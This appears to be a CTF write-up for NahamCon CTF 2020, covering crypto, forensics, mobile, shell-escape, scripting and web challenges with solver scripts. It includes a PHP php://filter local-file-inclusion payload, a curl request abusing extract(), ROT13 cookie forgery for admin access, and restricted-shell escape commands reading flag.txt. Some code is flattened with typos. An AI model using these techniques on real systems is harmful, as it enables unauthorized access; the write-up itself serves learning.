and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

